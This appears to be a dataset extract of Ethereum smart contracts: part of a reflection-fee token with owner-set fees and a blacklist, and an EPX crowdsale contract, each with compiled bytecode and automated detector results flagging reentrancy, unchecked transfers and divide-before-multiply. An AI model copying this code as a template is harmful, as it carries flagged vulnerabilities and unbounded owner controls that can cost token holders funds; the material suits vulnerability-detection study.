return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051c578063dd62ed3e1461053c578063ea1644d514610582578063f2fde38b146105a257600080fd5b8063a2a957bb14610497578063a9059cbb146104b7578063bfd79284146104d7578063c3c8cd801461050757600080fd5b80638f70ccf7116100d15780638f70ccf7146104115780638f9a55c01461043157806395d89b411461044757806398a5c3151461047757600080fd5b806374010ece146103bd5780637d1db4a5146103dd5780638da5cb5b146103f357600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103535780636fc3eaec1461037357806370a0823114610388578063715018a6146103a857600080fd5b8063313ce567146102f757806349bd5a5e146103135780636b9990531461033357600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab8565b6105c2565b005b3480156101ff57600080fd5b50604080518082019091526007815266213cb2a132b0b960c91b60208201525b60405161022c9190611bea565b60405180910390f35b34801561024157600080fd5b50610255610250366004611a08565b610661565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b50662386f26fc100005b60405190815260200161022c565b3480156102cd57600080fd5b506102556102dc3660046119c7565b610678565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022c565b34801561031f57600080fd5b50601554610285906001600160a01b031681565b34801561033f57600080fd5b506101f161034e366004611954565b6106e1565b34801561035f57600080fd5b506101f161036e366004611b84565b61072c565b34801561037f57600080fd5b506101f1610774565b34801561039457600080fd5b506102b36103a3366004611954565b6107bf565b3480156103b457600080fd5b506101f16107e1565b3480156103c957600080fd5b506101f16103d8366004611b9f565b610855565b3480156103e957600080fd5b506102b360165481565b3480156103ff57600080fd5b506000546001600160a01b0316610285565b34801561041d57600080fd5b506101f161042c366004611b84565b610884565b34801561043d57600080fd5b506102b360175481565b34801561045357600080fd5b50604080518082019091526007815266212ca2a122a0a960c91b602082015261021f565b34801561048357600080fd5b506101f1610492366004611b9f565b6108cc565b3480156104a357600080fd5b506101f16104b2366004611bb8565b6108fb565b3480156104c357600080fd5b506102556104d2366004611a08565b610939565b3480156104e357600080fd5b506102556104f2366004611954565b60106020526000908152604090205460ff1681565b34801561051357600080fd5b506101f1610946565b34801561052857600080fd5b506101f1610537366004611a34565b61099a565b34801561054857600080fd5b506102b361055736600461198e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058e57600080fd5b506101f161059d366004611b9f565b610a3b565b3480156105ae57600080fd5b506101f16105bd366004611954565b610a6a565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016105ec90611c3f565b60405180910390fd5b60005b815181101561065d5760016010600084848151811061061957610619611d86565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065581611d55565b9150506105f8565b5050565b600061066e338484610b54565b5060015b92915050565b6000610685848484610c78565b6106d784336106d285604051806060016040528060288152602001611dc8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b4565b610b54565b5060019392505050565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105ec90611c3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107565760405162461bcd60e51b81526004016105ec90611c3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a957506013546001600160a01b0316336001600160a01b0316145b6107b257600080fd5b476107bc816111ee565b50565b6001600160a01b03811660009081526002602052604081205461067290611273565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016105ec90611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087f5760405162461bcd60e51b81526004016105ec90611c3f565b601655565b6000546001600160a01b031633146108ae5760405162461bcd60e51b81526004016105ec90611c3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f65760405162461bcd60e51b81526004016105ec90611c3f565b601855565b6000546001600160a01b031633146109255760405162461bcd60e51b81526004016105ec90611c3f565b600893909355600a91909155600955600b55565b600061066e338484610c78565b6012546001600160a01b0316336001600160a01b0316148061097b57506013546001600160a01b0316336001600160a01b0316145b61098457600080fd5b600061098f306107bf565b90506107bc816112f7565b6000546001600160a01b031633146109c45760405162461bcd60e51b81526004016105ec90611c3f565b60005b82811015610a355781600560008686858181106109e6576109e6611d86565b90506020020160208101906109fb9190611954565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2d81611d55565b9150506109c7565b50505050565b6000546001600160a01b03163314610a655760405162461bcd60e51b81526004016105ec90611c3f565b601755565b6000546001600160a01b03163314610a945760405162461bcd60e51b81526004016105ec90611c3f565b6001600160a01b038116610af95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ec565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ec565b6001600160a01b038216610c175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ec565b6001600160a01b038216610d3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ec565b60008111610da05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ec565b6000546001600160a01b03848116911614801590610dcc57506000546001600160a01b03838116911614155b156110ad57601554600160a01b900460ff16610e65576000546001600160a01b03848116911614610e655760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ec565b601654811115610eb75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ec565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef957506001600160a01b03821660009081526010602052604090205460ff16155b610f515760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ec565b6015546001600160a01b03838116911614610fd65760175481610f73846107bf565b610f7d9190611ce5565b10610fd65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ec565b6000610fe1306107bf565b601854601654919250821015908210610ffa5760165491505b8080156110115750601554600160a81b900460ff16155b801561102b57506015546001600160a01b03868116911614155b80156110405750601554600160b01b900460ff165b801561106557506001600160a01b03851660009081526005602052604090205460ff16155b801561108a57506001600160a01b03841660009081526005602052604090205460ff16155b156110aa57611098826112f7565b4780156110a8576110a8476111ee565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ef57506001600160a01b03831660009081526005602052604090205460ff165b8061112157506015546001600160a01b0385811691161480159061112157506015546001600160a01b03848116911614155b1561112e575060006111a8565b6015546001600160a01b03858116911614801561115957506014546001600160a01b03848116911614155b1561116b57600854600c55600954600d555b6015546001600160a01b03848116911614801561119657506014546001600160a01b03858116911614155b156111a857600a54600c55600b54600d555b610a3584848484611480565b600081848411156111d85760405162461bcd60e51b81526004016105ec9190611bea565b5060006111e58486611d3e565b95945050505050565b6012546001600160a01b03166108fc6112088360026114ae565b6040518115909202916000818181858888f19350505050158015611230573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124b8360026114ae565b6040518115909202916000818181858888f1935050505015801561065d573d6000803e3d6000fd5b60006006548211156112da5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ec565b60006112e46114f0565b90506112f083826114ae565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133f5761133f611d86565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139357600080fd5b505afa1580156113a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cb9190611971565b816001815181106113de576113de611d86565b6001600160a01b0392831660209182029290920101526014546114049130911684610b54565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143d908590600090869030904290600401611c74565b600060405180830381600087803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148d5761148d611513565b611498848484611541565b80610a3557610a35600e54600c55600f54600d55565b60006112f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b60008060006114fd611666565b909250905061150c82826114ae565b9250505090565b600c541580156115235750600d54155b1561152a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611553876116a4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115859087611701565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b49086611743565b6001600160a01b0389166000908152600260205260409020556115d6816117a2565b6115e084836117ec565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162591815260200190565b60405180910390a3505050505050505050565b600081836116595760405162461bcd60e51b81526004016105ec9190611bea565b5060006111e58486611cfd565b6006546000908190662386f26fc1000061168082826114ae565b82101561169b57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c18a600c54600d54611810565b92509250925060006116d16114f0565b905060008060006116e48e878787611865565b919e509c509a509598509396509194505050505091939550919395565b60006112f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b4565b6000806117508385611ce5565b9050838110156112f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ec565b60006117ac6114f0565b905060006117ba83836118b5565b306000908152600260205260409020549091506117d79082611743565b30600090815260026020526040902055505050565b6006546117f99083611701565b6006556007546118099082611743565b6007555050565b600080808061182a606461182489896118b5565b906114ae565b9050600061183d60646118248a896118b5565b905060006118558261184f8b86611701565b90611701565b9992985090965090945050505050565b600080808061187488866118b5565b9050600061188288876118b5565b9050600061189088886118b5565b905060006118a28261184f8686611701565b939b939a50919850919650505050505050565b6000826118c457506000610672565b60006118d08385611d1f565b9050826118dd8583611cfd565b146112f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ec565b803561193f81611db2565b919050565b8035801515811461193f57600080fd5b60006020828403121561196657600080fd5b81356112f081611db2565b60006020828403121561198357600080fd5b81516112f081611db2565b600080604083850312156119a157600080fd5b82356119ac81611db2565b915060208301356119bc81611db2565b809150509250929050565b6000806000606084860312156119dc57600080fd5b83356119e781611db2565b925060208401356119f781611db2565b929592945050506040919091013590565b60008060408385031215611a1b57600080fd5b8235611a2681611db2565b946020939093013593505050565b600080600060408486031215611a4957600080fd5b833567ffffffffffffffff80821115611a6157600080fd5b818601915086601f830112611a7557600080fd5b813581811115611a8457600080fd5b8760208260051b8501011115611a9957600080fd5b602092830195509350611aaf9186019050611944565b90509250925092565b60006020808385031215611acb57600080fd5b823567ffffffffffffffff80821115611ae357600080fd5b818501915085601f830112611af757600080fd5b813581811115611b0957611b09611d9c565b8060051b604051601f19603f83011681018181108582111715611b2e57611b2e611d9c565b604052828152858101935084860182860187018a1015611b4d57600080fd5b600095505b83861015611b7757611b6381611934565b855260019590950194938601938601611b52565b5098975050505050505050565b600060208284031215611b9657600080fd5b6112f082611944565b600060208284031215611bb157600080fd5b5035919050565b60008060008060808587031215611bce57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1757858101830151858201604001528201611bfb565b81811115611c29576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc45784516001600160a01b031683529383019391830191600101611c9f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf857611cf8611d70565b500190565b600082611d1a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3957611d39611d70565b500290565b600082821015611d5057611d50611d70565b500390565b6000600019821415611d6957611d69611d70565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bddd50688251612239a6a402292e3cc5e9fd16051984826ef375f6c4c000883b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,242 |
0xC29021A71f3A6C3fD9F361035D748B5f7912F55E
|
pragma solidity ^0.4.18;
// -------------------------------------------------
// ethPoker.io EPX token - Presale & ICO token sale contract
// contact admin@ethpoker.io for queries
// Revision 20b
// Refunds integrated, full test suite 20r passed
// -------------------------------------------------
// ERC Token Standard #20 interface:
// https://github.com/ethereum/EIPs/issues/20
// EPX contract sources:
// https://github.com/EthPokerIO/ethpokerIO
// ------------------------------------------------
// 2018 improvements:
// - Updates to comply with latest Solidity versioning (0.4.18):
// - Classification of internal/private vs public functions
// - Specification of pure functions such as SafeMath integrated functions
// - Conversion of all constant to view or pure dependant on state changed
// - Full regression test of code updates
// - Revision of block number timing for new Ethereum block times
// - Removed duplicate Buy/Transfer event call in buyEPXtokens function (ethScan output verified)
// - Burn event now records number of EPX tokens burned vs Refund event Eth
// - Transfer event now fired when beneficiaryWallet withdraws
// - Gas req optimisation for payable function to maximise compatibility
// - Going live for initial Presale round 02/03/2018
// -------------------------------------------------
// Security reviews passed - cycle 20r
// Functional reviews passed - cycle 20r
// Final code revision and regression test cycle passed - cycle 20r
// -------------------------------------------------
contract owned {
address public owner;
function owned() internal {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal pure {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) view public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract EPXCrowdsale is owned, safeMath {
// owner/admin & token reward
address public admin = owner; // admin address
StandardToken public tokenReward; // address of the token used as reward
// deployment variables for static supply sale
uint256 private initialTokenSupply;
uint256 private tokensRemaining;
// multi-sig addresses and price variable
address private beneficiaryWallet; // beneficiaryMultiSig (founder group) or wallet account
// uint256 values for min,max,caps,tracking
uint256 public amountRaisedInWei; //
uint256 public fundingMinCapInWei; //
// loop control, ICO startup and limiters
string public CurrentStatus = ""; // current crowdsale status
uint256 public fundingStartBlock; // crowdsale start block#
uint256 public fundingEndBlock; // crowdsale end block#
bool public isCrowdSaleClosed = false; // crowdsale completion boolean
bool private areFundsReleasedToBeneficiary = false; // boolean for founder to receive Eth or not
bool public isCrowdSaleSetup = false; // boolean for crowdsale setup
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _EPX);
event Refund(address indexed _refunder, uint256 _value);
event Burn(address _from, uint256 _value);
mapping(address => uint256) balancesArray;
mapping(address => uint256) usersEPXfundValue;
// default function, map admin
function EPXCrowdsale() public onlyOwner {
admin = msg.sender;
CurrentStatus = "Crowdsale deployed to chain";
}
// total number of tokens initially
function initialEPXSupply() public view returns (uint256 initialEPXtokenCount) {
return safeDiv(initialTokenSupply,10000); // div by 10,000 for display normalisation (4 decimals)
}
// remaining number of tokens
function remainingEPXSupply() public view returns (uint256 remainingEPXtokenCount) {
return safeDiv(tokensRemaining,10000); // div by 10,000 for display normalisation (4 decimals)
}
// setup the CrowdSale parameters
function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) public onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))) {
// init addresses
beneficiaryWallet = 0x7A29e1343c6a107ce78199F1b3a1d2952efd77bA;
tokenReward = StandardToken(0x35BAA72038F127f9f8C8f9B491049f64f377914d);
// funding targets
fundingMinCapInWei = 30000000000000000000; // ETH 300 + 000000000000000000 18 dec wei
// update values
amountRaisedInWei = 0;
initialTokenSupply = 200000000000; // 20,000,000 + 4 dec resolution
tokensRemaining = initialTokenSupply;
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
// configure crowdsale
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
return "Crowdsale is setup";
} else if (msg.sender != admin) {
return "not authorised";
} else {
return "campaign cannot be changed";
}
}
function checkPrice() internal view returns (uint256 currentPriceValue) {
if (block.number >= fundingStartBlock+177534) { // 30-day price change/final 30day change
return (7600); //30days-end =7600EPX:1ETH
} else if (block.number >= fundingStartBlock+124274) { //3 week mark/over 21days
return (8200); //3w-30days =8200EPX:1ETH
} else if (block.number >= fundingStartBlock) { // start [0 hrs]
return (8800); //0-3weeks =8800EPX:1ETH
}
}
// default payable function when sending ether to this contract
function () public payable {
// 0. conditions (length, crowdsale setup, zero check, exceed funding contrib check, contract valid check, within funding block range check, balance overflow check etc)
require(!(msg.value == 0)
&& (msg.data.length == 0)
&& (block.number <= fundingEndBlock)
&& (block.number >= fundingStartBlock)
&& (tokensRemaining > 0));
// 1. vars
uint256 rewardTransferAmount = 0;
// 2. effects
amountRaisedInWei = safeAdd(amountRaisedInWei, msg.value);
rewardTransferAmount = ((safeMul(msg.value, checkPrice())) / 100000000000000);
// 3. interaction
tokensRemaining = safeSub(tokensRemaining, rewardTransferAmount);
tokenReward.transfer(msg.sender, rewardTransferAmount);
// 4. events
usersEPXfundValue[msg.sender] = safeAdd(usersEPXfundValue[msg.sender], msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function beneficiaryMultiSigWithdraw(uint256 _amount) public onlyOwner {
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(_amount);
Transfer(this, beneficiaryWallet, _amount);
}
function checkGoalReached() public onlyOwner { // return crowdfund status to owner for each result case, update public vars
// update state & status variables
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { // ICO in progress, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) { // ICO has not started
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) { // ICO ended, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
CurrentStatus = "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens bought!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (EPX >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { // ICO ended, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { // ICO in progress, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth >= Softcap)!";
}
}
function refund() public { // any contributor can call this to have their Eth returned. user's purchased EPX tokens are burned prior refund of Eth.
//require minCap not reached
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (block.number > fundingEndBlock)
&& (usersEPXfundValue[msg.sender] > 0));
//burn user's token EPX token balance, refund Eth sent
uint256 ethRefund = usersEPXfundValue[msg.sender];
balancesArray[msg.sender] = 0;
usersEPXfundValue[msg.sender] = 0;
//record Burn event with number of EPX tokens burned
Burn(msg.sender, usersEPXfundValue[msg.sender]);
//send Eth back
msg.sender.transfer(ethRefund);
//record Refund event with number of Eth refunded in transaction
Refund(msg.sender, ethRefund);
}
}
|
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301cb3b2081146102825780631de1441f1461029757806337205d76146102bc578063590e1ae3146102e3578063670be445146102f65780636e66f6e91461030957806372729ff21461033857806379ca07921461034b5780637ee6b2d0146103615780638da5cb5b1461037457806391b43d1314610387578063a26d7b941461039a578063ac06e302146103ad578063d648a647146103c6578063e3306a6f146103d9578063f851a44014610463575b600034158015906100f4575036155b80156101025750600a544311155b801561011057506009544310155b801561011e57506000600454115b151561012957600080fd5b6000905061013960065434610476565b600655655af3107a40006101543461014f61049a565b6104dc565b81151561015d57fe5b04905061016c600454826104ff565b600455600254600160a060020a031663a9059cbb33836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156101e757600080fd5b6102c65a03f115156101f857600080fd5b50505060405180515050600160a060020a0333166000908152600d60205260409020546102259034610476565b600160a060020a0333166000818152600d60205260409081902092909255907f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed90349084905191825260208201526040908101905180910390a250005b341561028d57600080fd5b610295610518565b005b34156102a257600080fd5b6102aa61082a565b60405190815260200160405180910390f35b34156102c757600080fd5b6102cf61083f565b604051901515815260200160405180910390f35b34156102ee57600080fd5b61029561084e565b341561030157600080fd5b6102aa610986565b341561031457600080fd5b61031c610996565b604051600160a060020a03909116815260200160405180910390f35b341561034357600080fd5b6102aa6109a5565b341561035657600080fd5b6102956004356109ab565b341561036c57600080fd5b6102aa610a66565b341561037f57600080fd5b61031c610a6c565b341561039257600080fd5b6102aa610a7b565b34156103a557600080fd5b6102cf610a81565b34156103b857600080fd5b6102aa600435602435610a8a565b34156103d157600080fd5b6102aa610c56565b34156103e457600080fd5b6103ec610c5c565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610428578082015183820152602001610410565b50505050905090810190601f1680156104555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561046e57600080fd5b61031c610cfa565b600082820161049384821080159061048e5750838210155b610d09565b9392505050565b6009546000906202b57e0143106104b45750611db06104d9565b6009546201e5720143106104cb57506120086104d9565b60095443106104d957506122605b90565b600082820261049384158061048e57508385838115156104f857fe5b0414610d09565b600061050d83831115610d09565b508082035b92915050565b60005433600160a060020a0390811691161461053357600080fd5b600b5462010000900460ff16151561054a57600080fd5b60075460065410801561056c5750600a54431115801561056c57506009544310155b156105c957600b805461ffff1916905560408051908101604052601b81527f496e2070726f67726573732028457468203c20536f6674636170290000000000602082015260089080516105c3929160200190610d4c565b50610828565b6007546006541080156105dd575060095443105b1561063457600b805461ffff1916905560408051908101604052601281527f43726f776473616c652069732073657475700000000000000000000000000000602082015260089080516105c3929160200190610d4c565b6007546006541080156106485750600a5443115b156106a257600b805461ffff1916600117905560408051908101604052601c81527f556e7375636365737366756c2028457468203c20536f66746361702900000000602082015260089080516105c3929160200190610d4c565b600754600654101580156106b65750600454155b1561071a57600b805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028455058203e3d2048617264636170292100000000602082015260089080516105c3929160200190610d4c565b6007546006541015801561072f5750600a5443115b801561073d57506000600454115b156107a157600b805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028457468203e3d20536f6674636170292100000000602082015260089080516105c3929160200190610d4c565b600754600654101580156107b757506000600454115b80156107c55750600a544311155b1561082857600b805460ff1961ff00199091166101001716905560408051908101604052601d81527f496e2070726f67726573732028457468203e3d20536f6674636170292100000060208201526008908051610826929160200190610d4c565b505b565b600061083a600454612710610d15565b905090565b600b5462010000900460ff1681565b60006007546006541080156108655750600b5460ff165b80156108725750600a5443115b80156108945750600160a060020a0333166000908152600d6020526040812054115b151561089f57600080fd5b5033600160a060020a0381166000908152600d602081815260408084208054600c8452828620869055939092529083905590927fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca592909151600160a060020a03909216825260208201526040908101905180910390a1600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561094657600080fd5b33600160a060020a03167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d8260405190815260200160405180910390a250565b600061083a600354612710610d15565b600254600160a060020a031681565b60065481565b60005433600160a060020a039081169116146109c657600080fd5b600b54610100900460ff1680156109e1575060075460065410155b15156109ec57600080fd5b600554600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610a1f57600080fd5b600554600160a060020a039081169030167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a350565b60075481565b600054600160a060020a031681565b600a5481565b600b5460ff1681565b6000805433600160a060020a03908116911614610aa657600080fd5b60015433600160a060020a039081169116148015610acd5750600b5462010000900460ff16155b8015610ae757506005546000600160a060020a0390911611155b15610bf2576005805473ffffffffffffffffffffffffffffffffffffffff19908116737a29e1343c6a107ce78199f1b3a1d2952efd77ba17909155600280549091167335baa72038f127f9f8c8f9b491049f64f377914d1790556801a055690d9db800006007556000600655642e90edd00060038190556004556009839055600a829055600b805460ff1962ff000019909116620100001716905560408051908101604052601281527f43726f776473616c65206973207365747570000000000000000000000000000060208201526008908051610bc9929160200190610d4c565b507f43726f776473616c6520697320736574757000000000000000000000000000009050610512565b60015433600160a060020a03908116911614610c2f57507f6e6f7420617574686f7269736564000000000000000000000000000000000000610512565b507f63616d706169676e2063616e6e6f74206265206368616e676564000000000000610512565b60095481565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cf25780601f10610cc757610100808354040283529160200191610cf2565b820191906000526020600020905b815481529060010190602001808311610cd557829003601f168201915b505050505081565b600154600160a060020a031681565b80151561082657600080fd5b600080610d2460008411610d09565b8284811515610d2f57fe5b0490506104938385811515610d4057fe5b06828502018514610d09565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610d8d57805160ff1916838001178555610dba565b82800160010185558215610dba579182015b82811115610dba578251825591602001919060010190610d9f565b50610dc6929150610dca565b5090565b6104d991905b80821115610dc65760008155600101610dd05600a165627a7a72305820f709d434c5c69bd25346d6d6917d49c7d77287c70d262d3ccfb9d47c5dcad4810029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,243 |
0x665fa721f7ea503c26add107da7d2e72606be0d9
|
/**
